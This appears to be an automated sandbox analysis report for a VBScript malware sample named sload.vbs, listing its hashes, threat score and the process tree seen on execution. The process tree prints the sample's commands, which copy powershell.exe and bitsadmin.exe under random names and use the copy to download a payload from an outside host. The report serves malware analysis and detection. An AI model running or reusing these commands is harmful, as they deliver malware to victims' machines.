Analysis

  • max time kernel
    7s
  • max time network
    15s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14-09-2020 12:13

General

  • Target

    sload.vbs

  • Size

    4KB

  • MD5

    3d14bdab7b53e165f600a8c38085d244

  • SHA1

    3bb3b43699dff641d7b45f0934675e71875bbea7

  • SHA256

    28b811e737ec718f5c36cf05df89da00f48e4e088756e11564c15fe683702964

  • SHA512

    4d202d2c35815e7ec7bdfcb277dff81935add546ed280c06e902eae3d2f8daf695ca7328514af1ae652e7eb6975e1b577a9fe7bef34f1f14bea67dabdaf1dc7d

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sload.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zKXPBM.exe
      2⤵
        PID:276
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\KXPBM.exe
        2⤵
          PID:1624
        • C:\Users\Admin\AppData\Roaming\KXPBM.exe
          "C:\Users\Admin\AppData\Roaming\KXPBM.exe" /transfer thOlKE /download https://innerearthartistry.com/nerea/03756910273/1x1.gif C:\Users\Admin\AppData\Roaming\1x1.gif
          2⤵
          • Executes dropped EXE
          PID:1556

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\KXPBM.exe

      • C:\Users\Admin\AppData\Roaming\KXPBM.exe

      • memory/276-0-0x0000000000000000-mapping.dmp

      • memory/1556-3-0x0000000000000000-mapping.dmp

      • memory/1624-1-0x0000000000000000-mapping.dmp